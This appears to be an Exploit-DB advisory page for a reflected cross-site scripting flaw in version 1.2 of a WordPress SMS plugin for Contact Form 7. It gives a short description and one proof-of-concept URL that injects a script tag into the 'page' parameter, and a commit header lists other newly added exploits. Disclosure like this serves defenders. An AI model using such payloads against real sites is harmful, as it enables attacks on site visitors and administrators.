41553c4004
11 changes to exploits/shellcodes Wing FTP Server 4.3.8 - Remote Code Execution (RCE) (Authenticated) Hotel Reservation System 1.0 - SQLi (Unauthenticated) Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) FileBrowser 2.17.2 - Cross Site Request Forgery (CSRF) to Remote Code Execution (RCE) Hospital Management System 4.0 - 'multiple' SQL Injection WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS) Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS) WordPress Plugin CP Blocks 1.0.14 - Stored Cross Site Scripting (XSS) Windows/x86 - Locate kernel32 base address / Stack Crack method NullFree Shellcode (171 bytes)
13 lines
No EOL
655 B
Text
13 lines
No EOL
655 B
Text
# Exploit Title: WordPress Plugin International Sms For Contact Form 7 Integration V1.2 - Cross Site Scripting (XSS)
|
|
# Date: 2022-02-04
|
|
# Author: Milad karimi
|
|
# Software Link: https://wordpress.org/plugins/cf7-international-sms-integration/
|
|
# Version: 1.2
|
|
# Tested on: Windows 11
|
|
# CVE: N/A
|
|
|
|
1. Description:
|
|
This plugin creates a cf7-international-sms-integration from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.
|
|
|
|
2. Proof of Concept:
|
|
http://localhost/cf7-international-sms-integration/includes/admin/class-sms-log-display.php?page=<script>alert("test")</script> |